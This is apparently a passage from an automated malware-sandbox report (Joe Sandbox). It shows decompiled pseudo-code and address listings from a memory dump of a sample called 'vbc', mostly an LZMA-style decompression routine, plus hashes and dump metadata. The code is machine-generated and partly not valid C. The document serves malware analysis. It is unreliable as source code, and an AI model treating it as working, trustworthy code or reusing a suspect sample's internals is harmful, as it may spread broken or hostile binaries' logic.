													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00406481
0x00406481
0x00406481
0x00406481
0x00406487
0x0040648b
0x0040648f
0x00406499
0x004064a7
0x0040677d
0x0040677d
0x00406780
0x00406787
0x004067b4
0x004067b4
0x004067b8
0x00000000
0x00000000
0x004067ba
0x004067c3
0x004067c9
0x004067cc
0x004067cf
0x004067d2
0x004067d5
0x004067db
0x004067f4
0x004067f7
0x00406803
0x00406804
0x00406807
0x004067dd
0x004067dd
0x004067ec
0x004067ef
0x004067ef
0x00406811
0x004067b1
0x004067b1
0x004067b1
0x004067b4
0x004067b8
0x00000000
0x00000000
0x00000000
0x00406813
0x00406813
0x0040678c
0x00406790
0x004068c8
0x004068c8
0x004068d2
0x004068da
0x004068e1
0x004068e3
0x004068ea
0x004068ee
0x004068ee
0x00406796
0x0040679c
0x004067a3
0x004067ab
0x004067ab
0x004067ae
0x00000000
0x004067ae
0x00406818
0x00406825
0x00406828
0x00406734
0x00406734
0x00406734
0x00405ed0
0x00405ed0
0x00405ed0
0x00405ed9
0x00000000
0x00000000
0x00405edf
0x00405edf
0x00000000
0x00405ee6
0x00405eea
0x00000000
0x00000000
0x00405ef0
0x00405ef3
0x00405ef6
0x00405ef9
0x00405efd
0x00000000
0x00000000
0x00405f03
0x00405f03
0x00405f06
0x00405f08
0x00405f09
0x00405f0c
0x00405f0e
0x00405f0f
0x00405f11
0x00405f14
0x00405f19
0x00405f1e
0x00405f27
0x00405f3a
0x00405f3d
0x00405f49
0x00405f71
0x00405f73
0x00405f81
0x00405f81
0x00405f85
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f75
0x00405f75
0x00405f78
0x00405f79
0x00405f79
0x00000000
0x00405f75
0x00405f4b
0x00405f4f
0x00405f54
0x00405f54
0x00405f5d
0x00405f65
0x00405f68
0x00000000
0x00405f6e
0x00405f6e
0x00000000
0x00405f6e
0x00000000
0x00405f8b
0x00405f8b
0x00405f8f
0x0040683b
0x0040683b
0x00000000
0x0040683b
0x00405f95
0x00405f98
0x00405fa8
0x00405fab
0x00405fae
0x00405fae
0x00405fae
0x00405fb1
0x00405fb5
0x00000000
0x00000000
0x00405fb7
0x00405fb7
0x00405fbd
0x00405fe7
0x00405fed
0x00405ff4
0x00000000
0x00405ff4
0x00405fbf
0x00405fc3
0x00405fc6
0x00405fcb
0x00405fcb
0x00405fd6
0x00405fde
0x00405fe1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406026
0x0040602c
0x0040602f
0x0040603c
0x00406044
0x00000000
0x00000000
0x00405ffb
0x00405ffb
0x00405fff
0x0040684a
0x0040684a
0x00000000
0x0040684a
0x00406005
0x0040600b
0x00406016
0x00406016
0x00406016
0x00406019
0x0040601c
0x0040601f
0x00406024
0x00000000
0x00000000
0x00000000
0x00000000
0x004066bb
0x004066bb
0x004066c1
0x004066c7
0x004066cd
0x004066e7
0x004066ea
0x004066f0
0x004066fb
0x004066fb
0x004066fd
0x004066cf
0x004066cf
0x004066de
0x004066e2
0x004066e2
0x00406707
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406709
0x0040670d
0x004068bc
0x004068bc
0x00000000
0x004068bc
0x00406713
0x00406719
0x00406720
0x00406728
0x0040672b
0x0040672e
0x0040672e
0x00406734
0x00406734
0x00000000
0x00000000
0x0040604c
0x0040604c
0x0040604e
0x00406051
0x004060c2
0x004060c2
0x004060c5
0x004060c8
0x004060cf
0x004060d9
0x00000000
0x004060d9
0x00406053
0x00406053
0x00406057
0x0040605a
0x0040605c
0x0040605f
0x00406062
0x00406064
0x00406067
0x00406069
0x0040606e
0x00406071
0x00406074
0x00406078
0x0040607f
0x00406082
0x00406089
0x0040608d
0x00406095
0x00406095
0x00406095
0x0040608f
0x0040608f
0x0040608f
0x00406084
0x00406084
0x00406084
0x00406099
0x0040609c
0x004060ba
0x004060ba
0x004060bc
0x00000000
0x0040609e
0x0040609e
0x0040609e
0x004060a1
0x004060a4
0x004060a7
0x004060a9
0x004060a9
0x004060a9
0x004060ac
0x004060af
0x004060b1
0x004060b2
0x004060b5
0x00000000
0x004060b5
0x00000000
0x004062eb
0x004062eb
0x004062ef
0x0040630d
0x0040630d
0x00406310
0x00406317
0x0040631a
0x0040631d
0x00406320
0x00406323
0x00406326
0x00406328
0x0040632f
0x00406330
0x00406332
0x00406335
0x00406338
0x0040633b
0x0040633b
0x00406340
0x00000000
0x00406340
0x004062f1
0x004062f1
0x004062f4
0x004062f7
0x00406301
0x00000000
0x00000000
0x00406355
0x00406355
0x00406359
0x0040637c
0x0040637f
0x00406382
0x0040638c
0x0040635b
0x0040635b
0x0040635e
0x00406361
0x00406364
0x00406371
0x00406374
0x00406374
0x00000000
0x00000000
0x00406398
0x00406398
0x0040639c
0x00000000
0x00000000
0x004063a2
0x004063a2
0x004063a6
0x00000000
0x00000000
0x004063ac
0x004063ac
0x004063ae
0x004063b2
0x004063b2
0x004063b5
0x004063b9
0x00000000
0x00000000
0x00406409
0x00406409
0x0040640d
0x00406414
0x00406414
0x00406417
0x0040641a
0x00406424
0x00000000
0x00406424
0x0040640f
0x0040640f
0x00000000
0x00000000
0x00406430
0x00406430
0x00406434
0x0040643b
0x0040643e
0x00406441
0x00406436
0x00406436
0x00406436
0x00406444
0x00406447
0x0040644a
0x0040644a
0x0040644d
0x00406450
0x00406453
0x00406453
0x00406456
0x0040645d
0x00406462
0x00000000
0x00000000
0x004064f0
0x004064f0
0x004064f4
0x00406892
0x00406892
0x00000000
0x00406892
0x004064fa
0x004064fa
0x004064fd
0x00406500
0x00406504
0x00406507
0x0040650d
0x0040650f
0x0040650f
0x0040650f
0x00406512
0x00406515
0x00000000
0x00000000
0x004060e5
0x004060e5
0x004060e9
0x00406856
0x00406856
0x00000000
0x00406856
0x004060ef
0x004060ef
0x004060f2
0x004060f5
0x004060f9
0x004060fc
0x00406102
0x00406104
0x00406104
0x00406104
0x00406107
0x0040610a
0x0040610a
0x0040610d
0x00406110
0x00000000
0x00000000
0x00406116
0x00406116
0x0040611c
0x00000000
0x00000000
0x00406122
0x00406122
0x00406126
0x00406129
0x0040612c
0x0040612f
0x00406132
0x00406133
0x00406136
0x00406138
0x0040613e
0x00406141
0x00406144
0x00406147
0x0040614a
0x0040614d
0x00406150
0x0040616c
0x0040616f
0x00406172
0x00406175
0x0040617c
0x00406180
0x00406182
0x00406186
0x00406152
0x00406152
0x00406156
0x0040615e
0x00406163
0x00406165
0x00406167
0x00406167
0x00406189
0x00406190
0x00406193
0x00000000
0x00406199
0x00406199
0x00000000
0x00406199
0x00000000
0x0040619e
0x0040619e
0x004061a2
0x00406862
0x00406862
0x00000000
0x00406862
0x004061a8
0x004061a8
0x004061ab
0x004061ae
0x004061b2
0x004061b5
0x004061bb
0x004061bd
0x004061bd
0x004061bd
0x004061c0
0x004061c3
0x004061c3
0x004061c3
0x004061c9
0x00000000
0x00000000
0x004061cb
0x004061cb
0x004061ce
0x004061d1
0x004061d4
0x004061d7
0x004061da
0x004061dd
0x004061e0
0x004061e3
0x004061e6
0x004061e9
0x00406201
0x00406204
0x00406207
0x0040620a
0x0040620a
0x0040620d
0x00406211
0x00406213
0x004061eb
0x004061eb
0x004061f3
0x004061f8
0x004061fa
0x004061fc
0x004061fc
0x00406216
0x0040621d
0x00406220
0x00000000
0x00406222
0x00406222
0x00000000
0x00406222
0x00406220
0x00406227
0x00406227
0x00406227
0x00406227
0x00000000
0x00000000
0x00406262
0x00406262
0x00406266
0x0040686e
0x0040686e
0x00000000
0x0040686e
0x0040626c
0x0040626c
0x0040626f
0x00406272
0x00406276
0x00406279
0x0040627f
0x00406281
0x00406281
0x00406281
0x00406284
0x00406287
0x00406287
0x0040628d
0x0040622b
0x0040622b
0x0040622e
0x00000000
0x0040622e
0x0040628f
0x0040628f
0x00406292
0x00406295
0x00406298
0x0040629b
0x0040629e
0x004062a1
0x004062a4
0x004062a7
0x004062aa
0x004062ad
0x004062c5
0x004062c8
0x004062cb
0x004062ce
0x004062ce
0x004062d1
0x004062d5
0x004062d7
0x004062af
0x004062af
0x004062b7
0x004062bc
0x004062be
0x004062c0
0x004062c0
0x004062da
0x004062e1
0x004062e4
0x00000000
0x004062e6
0x004062e6
0x00000000
0x004062e6
0x00000000
0x00406573
0x00406573
0x00406577
0x0040689e
0x0040689e
0x00000000
0x0040689e
0x0040657d
0x0040657d
0x00406580
0x00406583
0x00406587
0x0040658a
0x00406590
0x00406592
0x00406592
0x00406592
0x00406595
0x00000000
0x00000000
0x00406343
0x00406343
0x00406346
0x00000000
0x00000000
0x00406682
0x00406682
0x00406686
0x004066a8
0x004066a8
0x004066ab
0x004066b5
0x004066b8
0x004066b8
0x00000000
0x004066b8
0x00406688
0x00406688
0x0040668b
0x0040668f
0x00406692
0x00406692
0x00406695
0x00000000
0x00000000
0x0040673f
0x0040673f
0x00406743
0x00406761
0x00406761
0x00406761
0x00406761
0x00406768
0x0040676f
0x00406776
0x00406776
0x0040677d
0x00406780
0x00406787
0x00000000
0x0040678a
0x00406745
0x00406745
0x00406748
0x0040674b
0x0040674e
0x00406755
0x00406699
0x00406699
0x0040669c
0x00000000
0x00000000
0x00406830
0x00406830
0x00406833
0x00406734
0x00406734
0x00406734
0x00000000
0x0040673a
0x00000000
0x0040646a
0x0040646a
0x0040646c
0x00406473
0x00406474
0x00406476
0x00406479
0x00000000
0x00000000
0x00000000
0x00000000
0x0040677d
0x0040677d
0x00406780
0x00406787
0x00000000
0x0040678a
0x00000000
0x00000000
0x00000000
0x004064af
0x004064af
0x004064b2
0x004064e8
0x004064e8
0x00406618
0x00406618
0x00406618
0x00406618
0x0040661b
0x0040661b
0x0040661e
0x00406620
0x004068aa
0x004068aa
0x00000000
0x004068aa
0x00406626
0x00406626
0x00406629
0x00000000
0x00000000
0x0040662f
0x0040662f
0x00406633
0x00406636
0x00406636
0x00406636
0x00000000
0x00406636
0x004064b4
0x004064b4
0x004064b6
0x004064b8
0x004064ba
0x004064bd
0x004064be
0x004064c0
0x004064c2
0x004064c5
0x004064c8
0x004064de
0x004064de
0x004064e3
0x0040651b
0x0040651b
0x0040651f
0x00406548
0x0040654b
0x0040654d
0x00406554
0x00406557
0x0040655a
0x0040655a
0x0040655f
0x0040655f
0x00406561
0x00406564
0x0040656b
0x0040656e
0x0040659b
0x0040659b
0x0040659e
0x004065a1
0x00406615
0x00406615
0x00406615
0x00406615
0x00000000
0x00406615
0x004065a3
0x004065a3
0x004065a9
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b8
0x004065bb
0x004065be
0x004065c1
0x004065c4
0x004065dd
0x004065df
0x004065e2
0x004065e3
0x004065e6
0x004065e8
0x004065eb
0x004065ed
0x004065ef
0x004065f2
0x004065f4
0x004065f7
0x004065fb
0x004065fd
0x004065fd
0x004065fe
0x00406601
0x00406604
0x004065c6
0x004065c6
0x004065ce
0x004065d3
0x004065d5
0x004065d8
0x004065d8
0x00406607
0x0040660e
0x00406598
0x00406598
0x00406598
0x00406598
0x00000000
0x00406610
0x00406610
0x00000000
0x00406610
0x0040660e
0x00406521
0x00406521
0x00406524
0x00406526
0x00406529
0x0040652c
0x0040652f
0x00406531
0x00406534
0x00406537
0x00406537
0x0040653a
0x0040653a
0x0040653d
0x00406544
0x00406518
0x00406518
0x00406518
0x00406518
0x00000000
0x00406546
0x00406546
0x00000000
0x00406546
0x00406544
0x004064ca
0x004064ca
0x004064cd
0x004064cf
0x004064d2
0x00000000
0x00000000
0x00406231
0x00406231
0x00406235
0x0040687a
0x0040687a
0x00000000
0x0040687a
0x0040623b
0x0040623b
0x0040623e
0x00406241
0x00406244
0x00406247
0x0040624a
0x0040624d
0x0040624f
0x00406252
0x00406255
0x00406258
0x0040625a
0x0040625a
0x0040625a
0x00000000
0x00000000
0x004063bc
0x004063bc
0x004063c0
0x00406886
0x00406886
0x00000000
0x00406886
0x004063c6
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d1
0x004063d1
0x004063d1
0x004063d4
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e3
0x004063e4
0x004063e6
0x004063e6
0x004063e6
0x004063e9
0x004063ec
0x004063ef
0x004063f2
0x004063f2
0x004063f2
0x004063f5
0x004063f7
0x004063f7
0x00000000
0x00000000
0x00406639
0x00406639
0x00406639
0x0040663d
0x00000000
0x00000000
0x00406643
0x00406643
0x00406646
0x00406649
0x0040664c
0x0040664e
0x0040664e
0x0040664e
0x00406651
0x00406654
0x00406657
0x0040665a
0x0040665d
0x00406660
0x00406661
0x00406663
0x00406663
0x00406663
0x00406666
0x00406669
0x0040666c
0x0040666f
0x00406672
0x00406676
0x00406678
0x0040667b
0x00000000
0x0040667d
0x0040667d
0x004063fa
0x004063fa
0x00000000
0x004063fa
0x0040667b
0x004068b0
0x004068b0
0x00000000
0x00000000
0x00405edf
0x004068e7
0x004068e7
0x00000000
0x004068e7
0x00406734
0x004067b4
0x0040677d

Memory Dump Source

Source File: 00000004.00000002.465307477.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.465300422.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465317101.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465332520.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465357223.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465365833.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.465373563.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4704a5ed105780f6478b7403eb4dd8ec19d01cc9a077ced7c1a67cf9ab5ccc14
Instruction ID: 5ae99ca79f71cc2638d3baaeb57d6c4ee888c8cbc78e3ce5cc4ffc2d3191f51a
Opcode Fuzzy Hash: 4704a5ed105780f6478b7403eb4dd8ec19d01cc9a077ced7c1a67cf9ab5ccc14
Instruction Fuzzy Hash: 1FA13571D00229CBDF28CFA8C854BADBBB1FF44305F15816AD816BB281D7785A86DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406682 Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406682() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M004068EF))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
